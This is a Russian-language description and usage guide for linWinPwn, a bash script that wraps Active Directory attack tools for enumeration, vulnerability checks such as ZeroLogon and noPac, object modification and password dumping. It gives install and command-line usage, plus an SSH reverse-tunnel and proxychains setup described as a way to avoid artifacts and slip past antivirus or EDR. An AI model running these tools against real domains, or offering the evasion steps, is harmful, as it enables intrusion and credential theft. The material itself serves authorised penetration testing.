
Bash-скрипт, обёртывающий инструменты Active Directory для автоматизированного перечисления, проверки уязвимостей, эксплуатации и дампа паролей через LDAP, RPC, Kerberos и SMB.
linWinPwn — это bash-скрипт, который оборачивает ряд инструментов Active Directory для перечисления (LDAP, RPC, ADCS, MSSQL, Kerberos, SCCM), проверки уязвимостей (noPac, ZeroLogon, MS17-010, MS14-068), модификации объектов (смена пароля, добавление пользователя в группу, RBCD, Shadow Credentials) и дампа паролей (secretsdump, lsassy, nanodump, DonPAPI). Скрипт упрощает использование большого количества инструментов: impacket, bloodhound, netexec, enum4linux-ng, ldapdomaindump, lsassy, smbmap, kerbrute, certipy, silenthound, bloodyAD, DonPAPI и многих других.
Клонируйте репозиторий через Git и установите зависимости с помощью скрипта install.sh
git clone https://github.com/lefayjey/linWinPwn
cd linWinPwn
chmod +x install.sh
./install.sh
Либо используйте готовый Docker-образ из Docker Hub
docker pull lefayjey/linwinpwn:latest
# Add linWinPwn_docker to PATH
echo -e "docker run --rm --init -it --net=host -v \$(pwd):/opt/lwp-output lefayjey/linwinpwn:latest \$@" | sudo tee "/usr/local/sbin/linWinPwn_docker"
sudo chmod 755 /usr/local/sbin/linWinPwn_docker
# Run linWinPwn_docker (output to host's current directory)
linWinPwn_docker -t <DC_IP>
linWinPwn_docker -t <DC_IP> -d <domain> -u <user> -p <password> --auto
Или соберите из исходников
docker build -t linwinpwn .
docker run --rm --init -it --net=host -v $(pwd):/opt/lwp-output linwinpwn -t <DC_IP>
Скрипт linWinPwn может выполняться в интерактивном режиме (по умолчанию) или в автоматическом режиме (только перечисление).
1. Интерактивный режим (по умолчанию) — Открывает интерактивное меню для раздельного запуска проверок
linWinPwn -t <Domain_Controller_IP> [-d <AD_domain> -u <AD_user> -p <AD_password> -H <hash[LM:NT]> -K <kerbticket[./krb5cc_ticket]> -A <AES_key> -C <cert[./cert.pfx]> -o <output_dir>]
2. Автоматический режим — С помощью параметра --auto запускаются инструменты перечисления (без эксплуатации, модификаций или дампа паролей)
При использовании автоматического режима выполняются различные проверки в зависимости от метода аутентификации.
linWinPwn -t <Domain_Controller_IP> --auto [-o <output_dir>]
linWinPwn -t <Domain_Controller_IP> -d <AD_domain> -u <AD_user> [-p <AD_password> -H <hash[LM:NT]> -K <kerbticket[./krb5cc_ticket]> -A <AES_key> -C <cert[./cert.pfx]>] [-o <output_dir>] --auto
Auto config — Выполнить синхронизацию NTP с целевым DC и добавить запись в /etc/hosts перед запуском модулей
linWinPwn -t <Domain_Controller_IP> --auto-config
LDAPS — Использовать LDAPS вместо LDAP (порт 636)
linWinPwn -t <Domain_Controller_IP> --ldaps
Force Kerberos Auth — Принудительно использовать аутентификацию Kerberos вместо NTLM (когда это возможно)
linWinPwn -t <Domain_Controller_IP> --force-kerb
Verbose — Включить все подробные и отладочные выводы
linWinPwn -t <Domain_Controller_IP> --verbose
Interface — Выбрать сетевой интерфейс атакующего
linWinPwn -t <Domain_Controller_IP> -I tun0
linWinPwn -t <Domain_Controller_IP> --interface eth0
Targets — Выбрать цели для сканирования (DC, All, IP=IP_or_hostname, File=./path_to_file)
linWinPwn -t <Domain_Controller_IP> --targets All
linWinPwn -t <Domain_Controller_IP> --targets DC
linWinPwn -t <Domain_Controller_IP> -T IP=192.168.0.1
linWinPwn -t <Domain_Controller_IP> -T File=./list_servers.txt
Custom wordlists — Выбрать пользовательские словари пользователей и паролей
linWinPwn -t <Domain_Controller_IP> -U /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt
linWinPwn -t <Domain_Controller_IP> -P /usr/share/seclists/Passwords/xato-net-10-million-passwords.txt
linWinPwn может быть особенно полезен, когда у вас есть доступ к среде Active Directory только на ограниченное время и вы хотите повысить эффективность процесса перечисления и сбора доказательств. Кроме того, linWinPwn может заменить использование инструментов перечисления на Windows с целью уменьшения количества создаваемых артефактов (например, команд PowerShell, событий Windows, созданных файлов на диске) и обхода некоторых антивирусов или EDR. Это может быть достигнуто путём выполнения удалённого динамического перенаправления портов через создание SSH-туннеля с Windows-хоста (например, VDI-машины, рабочей станции или ноутбука) на удалённую Linux-машину (например, пентест-ноутбук или VPS) и запуска linWinPwn с proxychains.
На Windows-хосте выполните с помощью PowerShell:
ssh.exe kali@<linux_machine> -R 1080 -NCqf
На Linux-машине сначала обновите /etc/proxychains4.conf, добавив socks5 127.0.0.1 1080, затем выполните:
linWinPwn_proxychains -t <Domain_Controller_IP> -d <AD_domain> -u <AD_user> [-p <AD_password> -H <hash[LM:NT]> -K <kerbticket[./krb5cc_ticket]> -A <AES_key> -C <cert[./cert.pfx]>] [-o <output_dir>] [--auto]